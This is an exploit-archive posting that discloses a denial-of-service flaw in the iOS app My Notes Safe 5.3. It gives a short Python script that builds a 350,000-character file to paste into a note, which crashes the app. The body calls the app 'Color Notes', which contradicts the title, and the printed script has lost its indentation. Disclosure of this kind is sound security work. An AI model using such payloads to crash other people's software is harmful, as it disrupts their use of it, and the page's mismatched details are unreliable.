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My Notes Safe 5.3 Denial Of Service

My Notes Safe 5.3 Denial Of Service
Posted Jun 4, 2021
Authored by Geovanni Ruiz

My Notes Safe version 5.3 suffers from a denial of service vulnerability.

tags | exploit, denial of service
MD5 | 41ff462d29650978e92e573a5b0366bc

My Notes Safe 5.3 Denial Of Service

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# Exploit Title: My Notes Safe 5.3 - Denial of Service (PoC)
# Date: 06-04-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/us/app/my-notes-safe/id689971781
# Version: 5.3
# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")

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